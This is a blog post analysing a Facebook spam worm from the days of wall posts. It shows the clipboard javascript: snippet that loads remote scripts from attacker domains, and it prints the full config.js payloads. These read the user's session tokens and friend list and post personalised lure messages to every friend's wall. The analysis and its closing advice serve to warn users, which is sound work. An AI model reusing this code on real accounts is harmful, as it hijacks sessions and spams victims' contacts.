Mechanics of Facebook Spamming

You’ve no doubt by now come across the spam posts posts on your profile by some of your other friends. I came across one such post today and I wanted to dissect and analyze how they do it. I was really also curious as to whether if it was a security issue with Facebook, or they’re playing on the user’s mentality to click on anything that seems mildly interesting.

Facebook Spam example

Facebook spam post step 1

The basics of such spamming methods are simple:

  • Post something that invokes the curiosity of the user
  • Personalize it
  • Make them click on it and spread it so more people see it

Because the above post says “hey kailash you look so stupid” I would be enticed into clicking and finding out more about it. And when I click on it, the URL (http://fliptrip.info/boom.swf?bgimg=i.imgur.com/o0LtR.png&bgimg2=i.imgur.com/lEANf.png

&img=i.imgur.com/NlMK1.png&instructX=60

&instructY=100&retarded=true&name=&description=&caption=&message=

&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013 ) loads a swf file and I am guessing there’s a bug in Facebook which allows a flash file in a remote URL to execute. (I am yet to verify this with a POC)

Facebook Spam Example Step 2

Facebook spam post step 2

Then, the swf file takes over. When you click on the play button above, it autoloads the clipboard with a piece of escaped javascript, which all curious people copy and paste on their browser address bar and that leads to posts being made to their friends’ profiles.

Facebook Spam Example Step 3

Facebook Spam post step 3

Let’s take a closer look

javascript: (function () {

    function s(src) {
        var script = document.createElement("script");
        script.src = src;
        document.body.appendChild(script);
    }
    var rand = Math.floor(Math.random() * (100));
    s("http://videosurge.info/verify.js");
    if (rand <= 25) s("http://videosurge.info/config.js");
    else s("http://banfish.info/config.js");
})();

The above block of code is exactly what users copy and paste in their browser (url-escaped version of it) and the scripts listed there do their thing. The first function is used to append a who.amung.us tracking script (Analytics FTW!) to the DOM. The url (http://videosurge.info/verify.js) loads a who.amung.us widget for tracking purposes and then comes the code where they load (http://videosurge.info/config.js) 25% of the time and (http://banfish.info/config.js) 75% of time (Split-Testing FTW!)

Code inside http://videosurge.info/verify.js:

function include(filename, cb)
{
	var head = document.getElementsByTagName('head')[0];

	script = document.createElement('script');
	script.src = filename;
	script.type = 'text/javascript';
	script.onload = cb;
	head.appendChild(script)
}

include("http://widgets.amung.us/small.js", function(){
	WAU_small('dkz2a5lyiuwb');

});

Code inside http://videosurge.info/config.js:

var message = ""; /* generated */
var caption = "www.youtube.com";
var description = "";
var name = "Youtube Video";
var img = "http://i.imgur.com/NlMK1.png";
//var gw = "http://gateway.wfnetwork.com/widget/contentBlocker.js.php?i=1013"; /* jc */
var gw = "http://www.creepsweepers.info/locked.js";

var url = "http://banfish.info/boom.swf";
var flashvars = "bgimg=i.imgur.com/o0LtR.png&bgimg2=i.imgur.com/lEANf.png&img=i.imgur.com/NlMK1.png&instructX=60&instructY=100&retarded=true&name=&description=&caption=&message=&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013"; /* don't need these anymore */
var length = "2:34";

/* message spinner */
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];

/* domain spinner */
var domains = ['banfish.info', 'craneland.info','fliptrip.info'];

/* utilities */
function getRandomInt (min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr){
	return arr[getRandomInt(0, arr.length-1)];
}
function addCommas(nStr)
{
	nStr += '';
	x = nStr.split('.');
	x1 = x[0];
	x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
}
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];

var domain = randomValue(domains);
url = "http://" + domain + "/boom.swf?" + flashvars;

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();

gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}

var did = false;
function done(){
	if(!did){
	did = true;

	var script = document.createElement("script");
	script.src = gw;
	document.body.appendChild(script);
}
}

 done();

function attach(name,val){
	return "&feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_media(name,val){
	return "&feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_prop(name,val){
	return "&feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
var x = 0;

friends.sort(function() {return 0.5 - Math.random()});
var max = friends.length;
/*if(max >= 50) max = 50; */
for(var i=0; i<max; i++){
  	 	message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
         	var httpwp = new XMLHttpRequest();
          	var viewCount = getRandomInt(843, 7434);
          	var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
         	var paramswp = "&#038;__d=1&#038;app_id=6628568379&#038;extern=0" + 				   "&#038;post_form_id=" + post_form_id +  				   "&#038;fb_dtsg=" + fb_dtsg +  				   /*"&#038;feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +  				   "&#038;feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */ "&#038;feed_info[app_has_no_session]=true&#038;feed_info[body_general]=&#038;feed_info[template_id]=60341837091&#038;feed_info[templatized]=0&#038;feed_target_type=target_feed&#038;feedform_type=63&#038;lsd&#038;nctr[_ia]=1&#038;post_form_id_source=AsyncRequest&#038;preview=false&#038;size=2&#038;to_ids[0]=" + friends[i].uid +  				   "&#038;user_message=" + encodeURIComponent(message) + 				   attach("caption", caption) +  				   attach("description", description) +  				   attach("name", name) + 				   attach_prop("Views", addCommas(viewCount)) +  				   attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) + 				   attach_media("type", "flash") +  				   attach_media("swfsrc", url) +  				   attach_media("imgsrc", img) + 				   attach_media("flashvars", flashvars);
          	if(length) paramswp += attach_prop("Length", length);
         	httpwp.open("POST", urlwp, true);
          	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
         	httpwp.setRequestHeader("Content-length", paramswp.length);
         	httpwp.setRequestHeader("Connection", "keep-alive");
         	httpwp.onreadystatechange = function(){
          		if (httpwp.readyState == 4){
          			x++;
         			if(x >= friends.length -1){
        				done();
	        		}
		        }
	};
	httpwp.send(paramswp);
}

Code inside http://banfish.info/config.js:

var message = ""; /* generated */
var caption = "www.youtube.com";
var description = "";
var name = "Youtube Video";
var img = "http://i.imgur.com/NlMK1.png";
var gw = "http://gateway.wfnetwork.com/widget/contentBlocker.js.php?i=1013"; /* jc */
//var gw = "http://www.creepsweepers.info/locked.js"; /* jc */

var url = "http://banfish.info/boom.swf";
var flashvars = "bgimg=i.imgur.com/o0LtR.png&#038;bgimg2=i.imgur.com/lEANf.png&#038;img=i.imgur.com/NlMK1.png&#038;instructX=60&#038;instructY=100&#038;retarded=true&#038;name=&#038;description=&#038;caption=&#038;message=&#038;length=2%3A52&#038;action_name=&#038;payload_url=&#038;buttonText=Play&#038;gwid=1013"; /* don't need these anymore */
var length = "2:34";

/* message spinner */
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];

/* domain spinner */
var domains = ['banfish.info', 'craneland.info','fliptrip.info'];

/* utilities */
function getRandomInt (min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr){
	return arr[getRandomInt(0, arr.length-1)];
}
function addCommas(nStr)
{
	nStr += '';
	x = nStr.split('.');
	x1 = x[0];
	x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
}
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];

var domain = randomValue(domains);
url = "http://" + domain + "/boom.swf?" + flashvars;

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();

gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&#038;filter[0]=user&#038;viewer=" + uid + "&#038;"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}

var did = false;
function done(){
	if(!did){
	did = true;

	var script = document.createElement("script");
	script.src = gw;
	document.body.appendChild(script);
}
}
 done();

function attach(name,val){
	return "&#038;feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_media(name,val){
	return "&#038;feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_prop(name,val){
	return "&#038;feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
var x = 0;

friends.sort(function() {return 0.5 - Math.random()});
var max = friends.length;
/*if(max >= 50) max = 50; */
for(var i=0; i<max; i++){
  	 	message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
         	var httpwp = new XMLHttpRequest();
          	var viewCount = getRandomInt(843, 7434);
          	var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
         	var paramswp = "&#038;__d=1&#038;app_id=6628568379&#038;extern=0" + 				   "&#038;post_form_id=" + post_form_id +  				   "&#038;fb_dtsg=" + fb_dtsg +  				   /*"&#038;feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +  				   "&#038;feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */ "&#038;feed_info[app_has_no_session]=true&#038;feed_info[body_general]=&#038;feed_info[template_id]=60341837091&#038;feed_info[templatized]=0&#038;feed_target_type=target_feed&#038;feedform_type=63&#038;lsd&#038;nctr[_ia]=1&#038;post_form_id_source=AsyncRequest&#038;preview=false&#038;size=2&#038;to_ids[0]=" + friends[i].uid +  				   "&#038;user_message=" + encodeURIComponent(message) + 				   attach("caption", caption) +  				   attach("description", description) +  				   attach("name", name) + 				   attach_prop("Views", addCommas(viewCount)) +  				   attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) + 				   attach_media("type", "flash") +  				   attach_media("swfsrc", url) +  				   attach_media("imgsrc", img) + 				   attach_media("flashvars", flashvars);
          	if(length) paramswp += attach_prop("Length", length);
         	httpwp.open("POST", urlwp, true);
          	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
         	httpwp.setRequestHeader("Content-length", paramswp.length);
         	httpwp.setRequestHeader("Connection", "keep-alive");
         	httpwp.onreadystatechange = function(){
          		if (httpwp.readyState == 4){
          			x++;
         			if(x >= friends.length -1){
        				done();
	        		}
		        }
	};
	httpwp.send(paramswp);
}

Brief explanation of code in the above two js files: When the user runs the javascript from their clipboard, it appends either of the two scripts. The script gets a bunch of the users’ friends and posts an enticing message to their walls. These messages are being formed by spinning one some the strings like ‘hey’, ‘HEY’, ‘WTF’, ‘OMG’, ‘ROTFL’, ‘YO’, ‘yo’, ‘YO!’, ‘omg!’, ‘omg’, ‘wtf’, ‘wtf!!’, ‘WTF!!’,’OMG!!’, ‘why are you’, ‘what are you doing’, ‘I can\’t believe you\’re’, ‘you look so stupid’, ‘i cant believe youre tagged’, ‘why are you tagged’,’you should untag yourself’, ‘in this video’, ‘in this vid’ and personalizes it with the friend’s name so it looks legit. The messages also contains a link to one of the malicious swf files from one of these domains ‘banfish.info’, ‘craneland.info’,’fliptrip.info’ and it leads to the viral cycle.

For what it’s worth, Facebook seems to have taken action and deleted the actual application with the id 6628568379 so the actual intent of the spammers was never satisfied.

Why take so much trouble? The money involved. The spammers make money from CPA (Cost Per Action). Both these pieces of js embed two different CPA offers from the CPA network wfnetwork.com which looks to be an affiliate of hasoffers.com, which I presume was going to be posted to the application page. Even though the page was deleted, the spreading is still on and I think it will not stop until users realize that it’s spam or the domains are seized.

Simple advice to avoid all such spam (TL;DR): DON’T COPY PASTE STUFF ON YOUR BROWSER’S URL BAR!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>